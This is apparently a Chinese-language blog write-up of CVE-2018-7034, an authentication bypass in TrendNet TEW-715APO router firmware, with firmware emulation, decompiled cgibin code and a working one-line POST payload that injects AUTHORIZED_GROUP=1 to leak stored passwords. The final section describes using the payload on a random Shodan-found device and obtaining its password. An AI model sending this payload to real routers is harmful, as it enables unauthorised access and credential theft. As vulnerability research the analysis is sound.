漏洞信息

image-20240708110008200

通过使用 AUTHORIZED_GROUP=1 值,攻击者可以绕过认证,如通过请求 getcfg.php 进行信息泄露

这个cve的成因,主要是因为解析%xx和判断环境变量的不严谨导致的,以下分析

php文件的分析

image-20240708110317494

可以看到如果Authorized_group>=0即代表用户授权,可以加载一个file,而这个file是"/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"的格式,那么我们看到在该目录下的以.xml.php为后缀的文件,DEVICE.ACCOUNT.xml.php 该文件可以泄露用户名和密码等信息

1
2
3
4
5
6
7
8
9
10
11
12
foreach("/device/account/entry")
{
if ($InDeX > $cnt) break;
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";
echo "\t\t\t\t<password>". get("x","password")."</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}

因此我们只需要AUTHORIZED_GROUP=1就可以获得用户的敏感信息:密码

因为传入的数据都是先通过登录验证文件 htdocs/cgibin 的解析后,发送给 php 等文件进行处理,所以分析cgibin是如何设置该字段的,winmt师傅说由于这里的webserver运行的是php脚本,所以要着重看php部分

环境的搭建

固件的提取,这里使用的是TrendNet的固件TEW-715APO

image-20240708110926473

下载然后binwalk提取即可,但是这题搭建了系统qemu也没啥用,主要是太难以调试了,以系统模式的话,因此考虑的是qemu-mipsel-static用户级调试

二进制文件的调用

最终的调试指令:

1
sudo chroot . ./qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E CONTENT_LENGTH="26214" -E REQUEST_URI="wtf?COOL" -g 1234 ./phpcgi 123

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // $s0
char *v6; // $v0
int (*v8)(); // $t9
int v9; // $a0

v3 = *argv;
v6 = strrchr(*argv, '/');
if ( v6 )
v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
v8 = phpcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}

image-20240708111833108

image-20240708123801112

遍历环境变量之后的结果,会发现他好像将本机的env都搞出来了

着重注意第一个设置的结构体,显然是环境变量的所在处,然后必须为post请求,这样func函数才为sub_405AC0,这个函数之后会再次出现,只需记住即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall cgibin_parse_request(int function, sodj *addr, unsigned int Maxnum)
{
char *CONTENT_LENGTH_ptr; // $v0
unsigned int len; // $s3
int v8; // $v1
char *CONTENT_TYPE_ptr; // $s2
char **content_type_; // $s0
int v11; // $s1
size_t len_1; // $s4
const char *v14; // $a1

if ( getenv("CONTENT_TYPE") && (CONTENT_LENGTH_ptr = getenv("CONTENT_LENGTH")) != 0 )
len = atoi(CONTENT_LENGTH_ptr);
else
len = 0;
v8 = parse_uri(function, addr);
if ( v8 >= 0 )
{
if ( Maxnum >= len )
{
if ( len )
{
getenv("CONTENT_TYPE");
CONTENT_TYPE_ptr = getenv("CONTENT_TYPE");
if ( CONTENT_TYPE_ptr )
{
content_type_ = &off_433014;
v11 = 0;
while ( 1 )
{
v14 = *content_type_;
if ( !*content_type_ )
break;
len_1 = content_type_[1];
content_type_ += 3;
++v11;
if ( !strncasecmp(CONTENT_TYPE_ptr, v14, len_1) )
return ((&off_433014)[3 * v11 - 1])(function, addr, len, &CONTENT_TYPE_ptr[len_1]);
}
}
return -1;
}
}
else
{
sub_4033E8(len);
return -100;
}
}
return v8;
}

会遍历image-20240708112411987这部分内容,相应的请求方式执行对应的函数

发现除了Application形式的剩下的所有的返回值都是-1,返回到主函数就直接退出了,因此仔细看sub_40445C

1
2
3
4
5
6
7
8
int __fastcall sub_40445C(int funct, sodj *addr, int CONTENT_LENGTH_ptr, const char *a4)
{
if ( !strncasecmp(a4, "x-www-form-urlencoded", 0x15u) )// 如果是x-www-form-urlencoded形式
return sub_403A0C(funct, addr, CONTENT_LENGTH_ptr);
sub_4033E8(CONTENT_LENGTH_ptr);
sub_4040E0("read_ct_application", a4);
return -1;
}

显然是application/x-www-form-urlencoded的post请求会调用sub_403A0C

image-20240708112718662

其中read读入的便是我们的Poc,调试的话直接输入到远程页面即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int __fastcall sub_403864(_DWORD *a1, int data_addr, unsigned int more_len)
{
unsigned int thelen; // $s1
int v7; // $v0
int v8; // $v1
void (__fastcall *func)(int, int *); // $t9
int export_addr; // $a0
int result; // $v0
int one; // $v1
char v13; // $a1
sodj *sodj; // $a0
char *oneaddr; // $a1
int v16[4]; // [sp+18h] [-10h] BYREF

if ( data_addr )
{
thelen = 0;
if ( more_len )
{
while ( 1 )
{
result = thelen < more_len;
if ( thelen >= more_len )
return result;
oneaddr = (data_addr + thelen);
one = *(data_addr + thelen);
if ( *a1 )
{
v13 = *oneaddr;
if ( one == '&' )
{
sub_403864(a1, 0, 0);
goto LABEL_15;
}
sodj = a1[2];
}
else
{
v13 = *oneaddr;
if ( one == '=' )
{
*a1 = 1;
goto LABEL_15;
}
sodj = a1[1];
}
sobj_add_char(sodj, v13); // 将第一个等号前面的内容存到sodj1 等号后面的存到sodj2
LABEL_15:
++thelen;
}
}
}
if ( *a1 )
{
if ( !sobj_empty(a1[1]) )
{
sobj_unescape_uri(a1[1]); // 将%xx解码为ASCII码
sobj_unescape_uri(a1[2]);
v7 = a1[1];
v8 = a1[2];
func = a1[3];
export_addr = a1[4];
v16[0] = 0;
v16[1] = v7;
v16[2] = v8;
func(export_addr, v16);
}
}
sobj_free(a1[1]);
result = sobj_free(a1[2]);
*a1 = 0;
return result;
}

会发现它将=两边的东西都分别存储到对应的地方,而之后对%xx进行了解码之后再次调用func就是之前的那个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall sub_405AC0(sodj *glocal_addr, _DWORD *addr)
{
int result; // $v0
const char *v5; // $v0
int v6; // $a0
const char *string; // $v0
int v8; // $a0
const char *v9; // $v0
const char *v10; // $v0
const char *v11; // $a1

if ( *addr )
{
result = 1;
if ( *addr != 1 )
return result;
sobj_add_string(glocal_addr, "_FILES_");
string = sobj_get_string(addr[1]);
sobj_add_string(glocal_addr, string);
sobj_add_char(glocal_addr, '=');
v8 = addr[2];
if ( v8 )
v9 = sobj_get_string(v8);
else
v9 = &off_420798;
sobj_add_string(glocal_addr, v9);
sobj_add_char(glocal_addr, 10);
sobj_add_string(glocal_addr, "_FILETYPES_");
v10 = sobj_get_string(addr[1]);
sobj_add_string(glocal_addr, v10);
sobj_add_char(glocal_addr, 61);
v6 = addr[3];
if ( !v6 )
{
v11 = &off_420798;
goto LABEL_11;
}
}
else
{
sobj_add_string(glocal_addr, "_POST_");
v5 = sobj_get_string(addr[1]);
sobj_add_string(glocal_addr, v5);
sobj_add_char(glocal_addr, 61);
v6 = addr[2];
}
v11 = sobj_get_string(v6);
LABEL_11:
sobj_add_string(glocal_addr, v11);
return sobj_add_char(glocal_addr, 10);
}

发现就是将结构体的内容存到环境变量里

POC的书写

因此我们可以构造一个Poc

1
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

实战

shodan随便找一个shodan

image-20240708113738832

就获得了他的密码

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7034

https://www.iotsec-zone.com/article/384

https://zikh26.github.io/posts/5f982ad5.html